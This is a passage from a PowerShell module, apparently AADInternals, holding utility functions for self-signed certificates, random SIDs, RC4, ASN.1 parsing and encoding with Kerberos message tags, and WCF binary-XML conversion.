PS C:\>$certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert) | Set-Content MyCert.cer -Encoding Byte
.Example
PS C:\>New-AADIntCertificate -SubjectName "CN=MyCert" -Export
Certificate successfully exported:
CN=MyCert.pfx
CN=MyCert.cer
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[ValidatePattern("[c|C][n|N]=.+")] # Must start with CN=
[String]$SubjectName,
[Switch]$Export
)
Process
{
# Create a private key
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
# Initialize the Certificate Signing Request object
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($SubjectName, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509BasicConstraintsExtension]::new($true,$false,0,$true))
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509SubjectKeyIdentifierExtension]::new($req.PublicKey,$false))
# Create a self-signed certificate
$selfSigned = $req.CreateSelfSigned((Get-Date).ToUniversalTime().AddMinutes(-5),(Get-Date).ToUniversalTime().AddYears(100))
# Store the private key to so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
$cspParameters.KeyContainerName ="AADInternals"
# Set the private key
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters($rsa.ExportParameters($true))
$selfSigned.PrivateKey = $privateKey
if($Export)
{
Set-BinaryContent -Path "$SubjectName.pfx" -Value $selfSigned.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
Set-BinaryContent -Path "$SubjectName.cer" -Value $selfSigned.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Print out information
Write-Host "Certificate successfully exported:"
Write-Host " $SubjectName.pfx"
Write-Host " $SubjectName.cer"
}
else
{
return $selfSigned
}
}
}
# Creates a new random SID
# Feb 12th 2021
function New-RandomSID
{
[cmdletbinding()]
param(
[parameter(Mandatory=$False)]
[ValidateSet(0,1,2,3,4,5,7,9,11,12,15,16,18)]
[int]$IdentifierAuthority=5,
[parameter(Mandatory=$False)]
[ValidateSet(18,21,32,64,80,82,83,90,96)]
[int]$SubAuthority=21
)
Process
{
# Create a random SID
# ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ecc7dfba-77e1-4e03-ab99-114b349c7164
# ref: https://en.wikipedia.org/wiki/Security_Identifier
# Identifier Authorities:
# 0 = Null Authority
# 1 = World Authority
# 2 = Local Authority
# 3 = Creator Authority
# 4 = Non-unique Authority
# 5 = NT Authority NT AUTHORITY\
# 7 = Internet$ Internet$\
# 9 = Resource Manager Authority
# 11 = Microsoft Account Authority MicrosoftAccount\
# 12 = Azure Active Directory AzureAD\
# 15 = Capability SIDS
# 16 = MandatoryLabel\
# 18 = Asserted Identity
# Sub Authorities:
# 18 = LocalSystem
# 21 = Domain
# 32 = Users
# 64 = Authentication
# 80 = NT Service
# 82 = IIS AppPool
# 83 = Virtual Machines
# 90 = Window Manager
# 96 = Font Driver
return "S-1-$IdentifierAuthority-$SubAuthority-$(Get-Random -Minimum 1 -Maximum 0x7FFFFFFF)-$(Get-Random -Minimum 1 -Maximum 0x7FFFFFFF)-$(Get-Random -Minimum 1 -Maximum 0x7FFFFFFF)-$(Get-Random -Minimum 1000 -Maximum 9999)"
}
}
# Returns RCA for given key and data
function Get-RC4{
Param(
[Byte[]]$Key,
[Byte[]]$Data
)
Process
{
$nk = New-Object byte[] 256
$s = New-Object byte[] 256
for ($i = 0; $i -lt 256; $i++)
{
$nk[$i] = $Key[($i % $Key.Length)]
$s[$i] = [byte]$i
}
$j = 0
for ($i = 0; $i -lt 256; $i++)
{
$j = ($j + $s[$i] + $nk[$i]) % 256
$swap = $s[$i]
$s[$i] = $s[$j]
$s[$j] = $swap
}
$output = New-Object byte[] ($Data.Length)
$i = 0
$j = 0
for ($c = 0; $c -lt $data.Length; $c++)
{
$i = ($i + 1) % 256
$j = ($j + $s[$i]) % 256
$swap = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $swap;
$k = $s[(($s[$i] + $s[$j]) % 256)]
$keyed = $data[$c] -bxor $k
$output[$c] = [byte]$keyed
}
return $output
}
}
function Parse-Asn1
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data,
[Parameter(Mandatory=$False)]
[int]$Pos=0,
[Parameter(Mandatory=$False)]
[int]$Level=0
)
Begin
{
}
Process
{
# Must be initialized
[int]$p = $pos
[int]$sBytes = 0
[int]$size = 0
# Get the tag
[int]$tag = $Data[$p]
if(($Data[$p+1] -shr 4) -eq 8) # Get the size
{
# Multibyte
$sBytes = $Data[$p+1] -band 0x0F
for($a = 1 ; $a -le $sBytes; $a++)
{
$size += ($Data[$p+1+$a] * [Math]::Pow(256, $sBytes-$a))
}
$tSize = $size + 2 +$sBytes
}
else
{
$size = $Data[$p+1]
$tSize = $size + 2
}
# Calculate start and end
$start = $p
$end = $p + $tSize - 1
# Move to the start of the data
$p += 2 + $sBytes
if(($tag -shr 4) -eq 0x06) # Application element
{
$appNum = $tag -band 0x0F
$tType = "6{0:X}" -f $appNum
$multiValue = $true
}
elseif(($tag -shr 4) -eq 0x0A) # Sequence element
{
$seqNum = $tag -band 0x0F
$tType = "A{0:X}" -f $seqNum
$multiValue = $true
}
elseif($tag -in 0x10, 0x30)
{
$tType = "SEQUENCE"
$multiValue = $true
}
elseif($tag -in 0x11, 0x31)
{
$tType = "SET"
$multiValue = $true
}
else
{
$multiValue = $false
switch($tag)
{
0x01 {
$tType = "BOOLEAN"
$tData = $Data[$p-1] -ne 0x00
$tValue = $tData
break
}
0x02 {
$tType = "INTEGER"
$tData = 0
for($a = 1 ; $a -le $size; $a++)
{
$tData += $Data[$p-1+$a] * [Math]::Pow(256, $size-$a)
}
$tValue = $tData
break
}
0x03 {
$tType = "BIT STRING"
$tData = $Data[$p..$($p+$size-1)]
$tValue = Convert-ByteArrayToHex -Bytes $tData
break
}
0x04 {
$tType = "OCTET STRING"
Write-Verbose "$((" " * $level ))$tType ($size) $tValue"
$tData = $Data[$p..$($p+$size-1)]
break
}
0x05 {
$tType = "NULL"
$tData = $null
$tValue = $tData
break
}
0x06 {
$tType = "OBJECT IDENTIFIER"
$tData = Convert-BytesToOid -Bytes $Data[$p..$($p+$size-1)]
$tValue = $tData
break
}
0x0A {
$tType = "ENUMERATED"
$tData = 0
for($a = 1 ; $a -le $size; $a++)
{
$tData += $Data[$p-1+$a] * [Math]::Pow(256, $size-$a)
}
$tValue = $tData
break
}
0x13 {
$tType = "PrintableString"
$tData = [text.encoding]::ASCII.GetString($Data[$p..$($p+$size-1)])
$tValue = $tData
break
}
0x16 {
$tType = "IA5String"
$tData = [text.encoding]::ASCII.GetString($Data[$p..$($p+$size-1)])
$tValue = $tData
break
}
0x18 {
$tType = "DATE TIME"
$dStr = [text.encoding]::UTF8.GetString($Data[$p..$($p+$size-1)])
$yyyy = [int]$dStr.Substring(0,4)
$MM = [int]$dStr.Substring(4,2)
$dd = [int]$dStr.Substring(6,2)
$hh = [int]$dStr.Substring(8,2)
$min = [int]$dStr.Substring(10,2)
$ss = [int]$dStr.Substring(12,2)
$tData = [DateTime]"$($yyyy)-$('{0:D2}' -f $MM)-$('{0:D2}' -f $dd)T$('{0:D2}' -f $hh):$('{0:D2}' -f $min):$('{0:D2}' -f $ss)Z"
$tValue = $tData
break
}
0x1B {
$tType = "GENERAL STRING"
$tData = [text.encoding]::UTF8.GetString($Data[$p..$($p+$size-1)])
$tValue = $tData
break
}
0x7B {
$tType = "EncAPRepPart"
Write-Verbose "$((" " * $level ))$tType ($size) $tValue"
try
{
$tData = Parse-Asn1 -Data $Data[$p..$($p+$size-1)] -Level ($Level+1)
}
catch
{
$tData = $Data[$p..$($p+$size-1)]
}
break
}
0x7E {
$tType = "KRB_ERROR"
Write-Verbose "$((" " * $level ))$tType ($size) $tValue"
try
{
$tData = Parse-Asn1 -Data $Data[$p..$($p+$size-1)] -Level ($Level+1)
}
catch
{
$tData = $Data[$p..$($p+$size-1)]
}
break
}
0x80 {
$tType = "APPSPECIFIC"
$tData = $Data[$p..$($p+$size-1)]
break
}
default {
Throw "Unknown TAG 0x$('{0:X}' -f $tag) ($size)"
}
}
}
if($Size -eq 0)
{
$tData = $null
$tValue = $null
}
if(($tag -ne 0x04) -and (($tag -shr 4) -ne 0x07))
{
Write-Verbose "$((" " * $level ))$tType ($size) $tValue"
}
if($multiValue)
{
$tData = @()
While($p -lt $end)
{
$element = Parse-Asn1 -Data $Data -Pos $p -Level ($Level+1)
$p += $element.Size
$tData += $element
}
}
return New-Object psobject -Property @{ "Type" = $tType; "Data" = $tData ; "DataLength" = $size; "Size" = $tSize}
}
}
# Encodes object to Asn1 encoded byte array
# Mar 26th 2021
function Encode-Asn1
{
Param(
[Parameter(Mandatory=$True)]
[psobject]$Data,
[Parameter(Mandatory=$False)]
[int]$Level = 0
)
Begin
{
}
Process
{
$attributes = $Data | get-member | where MemberType -eq "NoteProperty" | select Name
if(!$attributes -or (!"Data","Type" -in $attributes))
{
Throw "Data object doesn't have Data and Type attributes"
}
Write-Verbose "$((" " * $level ))$($Data.Type)"
switch($Data.Type)
{
{$_.startsWith("APP #")}{
$appNum = [byte]$_.Split("#")[1]
$appNum += 0x60
$returnValues = @()
foreach($value in $Data.Data)
{
$returnValues += Encode-Asn1 -Data $value -Level ($Level+1)
}
if($returnValues)
{
return Add-DERTag -Tag $appNum -Data $returnValues
}
break
}
{$_.startsWith("SEQ #")}{
$seqNum = [byte]$_.Split("#")[1]
$seqNum += 0xA0
$returnValues = @()
foreach($value in $Data.Data)
{
$returnValues += Encode-Asn1 -Data $value -Level ($Level+1)
}
if($returnValues)
{
return Add-DERTag -Tag $seqNum -Data $returnValues
}
break
}
"SEQUENCE" {
$returnValues = @()
foreach($value in $Data.Data)
{
$returnValues += Encode-Asn1 -Data $value -Level ($Level+1)
}
if($returnValues)
{
return Add-DERSequence -Data $returnValues
}
break
}
"SET" {
$returnValues = @()
foreach($value in $Data.Data)
{
$returnValues += Encode-Asn1 -Data $value
}
if($returnValues)
{
return Add-DERSet -Data $returnValues
}
break
}
"BOOLEAN" {
return Add-DERBoolean -Value $Data.Data
break
}
"INTEGER" {
return Add-DERInteger -Data ([byte]$Data.Data)
break
}
"ENUMERATED" {
return Add-DERInteger -Data ([byte]$Data.Data)
break
}
"BIT STRING" {
return Add-DERBitString -Data $Data.Data
break
}
"OCTET STRING" {
if($Data.Data -is [System.Array])
{
return Add-DEROctetString -Data $Data.Data
}
else
{
return Add-DEROctetString -Data (Encode-Asn1 -Data $Data.Data -Level ($Level+1))
}
break
}
"NULL" {
return Add-DERNull
break
}
"OBJECT IDENTIFIER" {
return Add-DERObjectIdentifier -ObjectIdentifier $Data.Data
break
}
"GENERAL STRING" {
return Add-DERUtf8String -Text $Data.Data
break
}
"DATE TIME" {
return Add-DERDate -Date $Data.Data
break
}
default {
Throw "Unknown type: $_"
}
}
}
}
# Returns the given number random bytes
function Get-RandomBytes
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[int]$Bytes
)
Process
{
$returnBytes = New-Object byte[] $Bytes
for($c = 0; $c -lt $Bytes ; $c++)
{
$returnBytes[$c] = Get-Random -Minimum 0 -Maximum 0xFF
}
return $returnBytes
}
}
# Computes an SHA1 digest for the given data
function Get-Digest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Data
)
Process
{
# Compute SHA1 digest
$SHA1 = [System.Security.Cryptography.SHA1Managed]::Create()
$digest = $SHA1.ComputeHash([text.encoding]::UTF8.GetBytes($Data))
$SHA1.Dispose()
return $digest
}
}
# Creates a new random SID
# May 31st 2021
function New-RandomIPv4
{
[cmdletbinding()]
param(
)
Process
{
return "$(Get-Random -Minimum 0 -Maximum 255).$(Get-Random -Minimum 0 -Maximum 255).$(Get-Random -Minimum 0 -Maximum 255).$(Get-Random -Minimum 0 -Maximum 255)"
}
}
# Create (or use cached) XML dictionary
function Get-XmlDictionary
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[ValidateSet('WCF','Session')]
[String]$Type="WCF"
)
Begin
{
# Create dictionaries array
$dictionaries = @{
"WCF" = New-Object System.Xml.XmlDictionary
"Session" = New-Object System.Xml.XmlDictionary
}
# Dictionary for WCF binary xml
foreach($element in @("mustUnderstand", "Envelope", "http://www.w3.org/2003/05/soap-envelope", "http://www.w3.org/2005/08/addressing", "Header", "Action", "To", "Body", "Algorithm", "RelatesTo", "http://www.w3.org/2005/08/addressing/anonymous", "URI", "Reference", "MessageID", "Id", "Identifier", "http://schemas.xmlsoap.org/ws/2005/02/rm", "Transforms", "Transform", "DigestMethod", "DigestValue", "Address", "ReplyTo", "SequenceAcknowledgement", "AcknowledgementRange", "Upper", "Lower", "BufferRemaining", "http://schemas.microsoft.com/ws/2006/05/rm", "http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement", "SecurityTokenReference", "Sequence", "MessageNumber", "http://www.w3.org/2000/09/xmldsig#", "http://www.w3.org/2000/09/xmldsig#enveloped-signature", "KeyInfo", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd", "http://www.w3.org/2001/04/xmlenc#", "http://schemas.xmlsoap.org/ws/2005/02/sc", "DerivedKeyToken", "Nonce", "Signature", "SignedInfo", "CanonicalizationMethod", "SignatureMethod", "SignatureValue", "DataReference", "EncryptedData", "EncryptionMethod", "CipherData", "CipherValue", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd", "Security", "Timestamp", "Created", "Expires", "Length", "ReferenceList", "ValueType", "Type", "EncryptedHeader", "http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd", "RequestSecurityTokenResponseCollection", "http://schemas.xmlsoap.org/ws/2005/02/trust", "http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret", "http://schemas.microsoft.com/ws/2006/02/transactions", "s", "Fault", "MustUnderstand", "role", "relay", "Code", "Reason", "Text", "Node", "Role", "Detail", "Value", "Subcode", "NotUnderstood", "qname", "", "From", "FaultTo", "EndpointReference", "PortType", "ServiceName", "PortName", "ReferenceProperties", "RelationshipType", "Reply", "a", "http://schemas.xmlsoap.org/ws/2006/02/addressingidentity", "Identity", "Spn", "Upn", "Rsa", "Dns", "X509v3Certificate", "http://www.w3.org/2005/08/addressing/fault", "ReferenceParameters", "IsReferenceParameter", "http://www.w3.org/2005/08/addressing/reply", "http://www.w3.org/2005/08/addressing/none", "Metadata", "http://schemas.xmlsoap.org/ws/2004/08/addressing", "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous", "http://schemas.xmlsoap.org/ws/2004/08/addressing/fault", "http://schemas.xmlsoap.org/ws/2004/06/addressingex", "RedirectTo", "Via", "http://www.w3.org/2001/10/xml-exc-c14n#", "PrefixList", "InclusiveNamespaces", "ec", "SecurityContextToken", "Generation", "Label", "Offset", "Properties", "Cookie", "wsc", "http://schemas.xmlsoap.org/ws/2004/04/sc", "http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk", "http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT", "RenewNeeded", "BadContextToken", "c", "http://schemas.xmlsoap.org/ws/2005/02/sc/dk", "http://schemas.xmlsoap.org/ws/2005/02/sc/sct", "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT", "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT", "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew", "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew", "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel", "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel", "http://www.w3.org/2001/04/xmlenc#aes128-cbc", "http://www.w3.org/2001/04/xmlenc#kw-aes128", "http://www.w3.org/2001/04/xmlenc#aes192-cbc", "http://www.w3.org/2001/04/xmlenc#kw-aes192", "http://www.w3.org/2001/04/xmlenc#aes256-cbc", "http://www.w3.org/2001/04/xmlenc#kw-aes256", "http://www.w3.org/2001/04/xmlenc#des-cbc", "http://www.w3.org/2000/09/xmldsig#dsa-sha1", "http://www.w3.org/2001/10/xml-exc-c14n#WithComments", "http://www.w3.org/2000/09/xmldsig#hmac-sha1", "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256", "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1", "http://www.w3.org/2001/04/xmlenc#ripemd160", "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p", "http://www.w3.org/2000/09/xmldsig#rsa-sha1", "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256", "http://www.w3.org/2001/04/xmlenc#rsa-1_5", "http://www.w3.org/2000/09/xmldsig#sha1", "http://www.w3.org/2001/04/xmlenc#sha256", "http://www.w3.org/2001/04/xmlenc#sha512", "http://www.w3.org/2001/04/xmlenc#tripledes-cbc", "http://www.w3.org/2001/04/xmlenc#kw-tripledes", "http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap", "http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap", "http://schemas.microsoft.com/ws/2006/05/security", "dnse", "o", "Password", "PasswordText", "Username", "UsernameToken", "BinarySecurityToken", "EncodingType", "KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentifier", "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ", "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510", "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID", "Assertion", "urn:oasis:names:tc:SAML:1.0:assertion", "http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license", "FailedAuthentication", "InvalidSecurityToken", "InvalidSecurity", "k", "SignatureConfirmation", "TokenType", "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1", "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey", "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1", "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1", "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0", "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID", "AUTH-HASH", "RequestSecurityTokenResponse", "KeySize", "RequestedTokenReference", "AppliesTo", "Authenticator", "CombinedHash", "BinaryExchange", "Lifetime", "RequestedSecurityToken", "Entropy", "RequestedProofToken", "ComputedKey", "RequestSecurityToken", "RequestType", "Context", "BinarySecret", "http://schemas.xmlsoap.org/ws/2005/02/trust/spnego", " http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego", "wst", "http://schemas.xmlsoap.org/ws/2004/04/trust", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey", "http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce", "KeyType", "http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey", "http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey", "Claims", "InvalidRequest", "RequestFailed", "SignWith", "EncryptWith", "EncryptionAlgorithm", "CanonicalizationAlgorithm", "ComputedKeyAlgorithm", "UseKey", "http://schemas.microsoft.com/net/2004/07/secext/WS-SPNego", "http://schemas.microsoft.com/net/2004/07/secext/TLSNego", "t", "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue", "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue", "http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey", "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1", "http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce", "RenewTarget", "CancelTarget", "RequestedTokenCancelled", "RequestedAttachedReference", "RequestedUnattachedReference", "IssuedTokens", "http://schemas.xmlsoap.org/ws/2005/02/trust/Renew", "http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel", "http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey", "Access", "AccessDecision", "Advice", "AssertionID", "AssertionIDReference", "Attribute", "AttributeName", "AttributeNamespace", "AttributeStatement", "AttributeValue", "Audience", "AudienceRestrictionCondition", "AuthenticationInstant", "AuthenticationMethod", "AuthenticationStatement", "AuthorityBinding", "AuthorityKind", "AuthorizationDecisionStatement", "Binding", "Condition", "Conditions", "Decision", "DoNotCacheCondition", "Evidence", "IssueInstant", "Issuer", "Location", "MajorVersion", "MinorVersion", "NameIdentifier", "Format", "NameQualifier", "Namespace", "NotBefore", "NotOnOrAfter", "saml", "Statement", "Subject", "SubjectConfirmation", "SubjectConfirmationData", "ConfirmationMethod", "urn:oasis:names:tc:SAML:1.0:cm:holder-of-key", "urn:oasis:names:tc:SAML:1.0:cm:sender-vouches", "SubjectLocality", "DNSAddress", "IPAddress", "SubjectStatement", "urn:oasis:names:tc:SAML:1.0:am:unspecified", "xmlns", "Resource", "UserName", "urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName", "EmailName", "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress", "u", "ChannelInstance", "http://schemas.microsoft.com/ws/2005/02/duplex", "Encoding", "MimeType", "CarriedKeyName", "Recipient", "EncryptedKey", "KeyReference", "e", "http://www.w3.org/2001/04/xmlenc#Element", "http://www.w3.org/2001/04/xmlenc#Content", "KeyName", "MgmtData", "KeyValue", "RSAKeyValue", "Modulus", "Exponent", "X509Data", "X509IssuerSerial", "X509IssuerName", "X509SerialNumber", "X509Certificate", "AckRequested", "http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested", "AcksTo", "Accept", "CreateSequence", "http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence", "CreateSequenceRefused", "CreateSequenceResponse", "http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse", "FaultCode", "InvalidAcknowledgement", "LastMessage", "http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage", "LastMessageNumberExceeded", "MessageNumberRollover", "Nack", "netrm", "Offer", "r", "SequenceFault", "SequenceTerminated", "TerminateSequence", "http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence", "UnknownSequence", "http://schemas.microsoft.com/ws/2006/02/tx/oletx", "oletx", "OleTxTransaction", "PropagationToken", "http://schemas.xmlsoap.org/ws/2004/10/wscoor", "wscoor", "CreateCoordinationContext", "CreateCoordinationContextResponse", "CoordinationContext", "CurrentContext", "CoordinationType", "RegistrationService", "Register", "RegisterResponse", "ProtocolIdentifier", "CoordinatorProtocolService", "ParticipantProtocolService", "http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext", "http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse", "http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register", "http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse", "http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault", "ActivationCoordinatorPortType", "RegistrationCoordinatorPortType", "InvalidState", "InvalidProtocol", "InvalidParameters", "NoActivity", "ContextRefused", "AlreadyRegistered", "http://schemas.xmlsoap.org/ws/2004/10/wsat", "wsat", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC", "Prepare", "Prepared", "ReadOnly", "Commit", "Rollback", "Committed", "Aborted", "Replay", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared", "http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly", "http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay", "http://schemas.xmlsoap.org/ws/2004/10/wsat/fault", "CompletionCoordinatorPortType", "CompletionParticipantPortType", "CoordinatorPortType", "ParticipantPortType", "InconsistentInternalState", "mstx", "Enlistment", "protocol", "LocalTransactionId", "IsolationLevel", "IsolationFlags", "Description", "Loopback", "RegisterInfo", "ContextId", "TokenId", "AccessDenied", "InvalidPolicy", "CoordinatorRegistrationFailed", "TooManyEnlistments", "Disabled", "ActivityId", "http://schemas.microsoft.com/2004/09/ServiceModel/Diagnostics", "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1", "http://schemas.xmlsoap.org/ws/2002/12/policy", "FloodMessage", "LinkUtility", "Hops", "http://schemas.microsoft.com/net/2006/05/peer/HopCount", "PeerVia", "http://schemas.microsoft.com/net/2006/05/peer", "PeerFlooder", "PeerTo", "http://schemas.microsoft.com/ws/2005/05/routing", "PacketRoutable", "http://schemas.microsoft.com/ws/2005/05/addressing/none", "http://schemas.microsoft.com/ws/2005/05/envelope/none", "http://www.w3.org/2001/XMLSchema-instance", "http://www.w3.org/2001/XMLSchema", "nil", "type", "char", "boolean", "byte", "unsignedByte", "short", "unsignedShort", "int", "unsignedInt", "long", "unsignedLong", "float", "double", "decimal", "dateTime", "string", "base64Binary", "anyType", "duration", "guid", "anyURI", "QName", "time", "date", "hexBinary", "gYearMonth", "gYear", "gMonthDay", "gDay"))
{
$dictionaries["WCF"].Add($element) | Out-Null
}
# Dictionary for Identity Claims Session binary xml
foreach($element in @("Claim","SecurityContextToken","Version","SecureConversationVersion","Issuer","OriginalIssuer","IssuerRef","ClaimCollection","Actor","ClaimProperty","ClaimProperties","Value","ValueType","Label","Type","subjectID","ClaimPropertyName","ClaimPropertyValue","http://www.w3.org/2005/08/addressing/anonymous","http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self","AuthenticationType","NameClaimType","RoleClaimType","Null", [string]::Empty,"Key","EffectiveTime","ExpiryTime","KeyGeneration","KeyEffectiveTime","KeyExpiryTime","SessionId","Id","ValidFrom","ValidTo","ContextId","SessionToken","SessionTokenCookie","BootStrapToken","Context","ClaimsPrincipal","WindowsPrincipal","WindowIdentity","Identity","Identities","WindowsLogonName","PersistentTrue","SctAuthorizationPolicy","Right","EndpointId","WindowsSidClaim","DenyOnlySidClaim","X500DistinguishedNameClaim","X509ThumbprintClaim","NameClaim","DnsClaim","RsaClaim","MailAddressClaim","SystemClaim","HashClaim","SpnClaim","UpnClaim","UrlClaim","Sid","SessionModeTrue"))
{
$dictionaries["Session"].Add($element) | Out-Null
}
}
Process
{
return $dictionaries[$Type]
}
}
# Converts binary xml to XML
function BinaryToXml
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$xml_bytes,
[Parameter(Mandatory=$True)]
[System.Xml.XmlDictionary]$Dictionary
)
Process
{
$xml_doc = New-Object System.Xml.XmlDocument
[System.Xml.XmlDictionaryReader]$reader = [System.Xml.XmlDictionaryReader]::CreateBinaryReader($xml_bytes,0,$xml_bytes.Length,$Dictionary,[System.Xml.XmlDictionaryReaderQuotas]::Max)
$xml_doc.Load($reader)
return $xml_doc
}
}
# Converts Xml to Binary format
function XmlToBinary
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$xml_doc,
[Parameter(Mandatory=$True)]
[System.Xml.XmlDictionary]$Dictionary
)
Process
{
$ms = New-Object System.IO.MemoryStream
$writer = [System.Xml.XmlDictionaryWriter]::CreateBinaryWriter($ms,$Dictionary)
$xml_doc.WriteContentTo($writer);
$writer.Flush()
$ms.Position = 0;
$length=$ms.Length
[byte[]]$xml_bytes = New-Object Byte[] $length
$ms.Flush()
$ms.Read($xml_bytes, 0, $length) | Out-Null
$ms.Dispose()
return $xml_bytes
}
}
function Remove-BOM
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[Byte[]]$ByteArray
)
Process
{
if(Compare-Object -ReferenceObject $const_bom -DifferenceObject $ByteArray[0..2] -SyncWindow 0)
{
return $ByteArray
}
else
{
return $ByteArray[3..($ByteArray.length-1)]
}
}
}
# removes the given bytes from the given bytearray
function Remove-Bytes
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[Byte[]]$ByteArray,
[Parameter(Mandatory=$True)]
[Byte[]]$BytesToRemove
)
Process
{
$retVal = @()
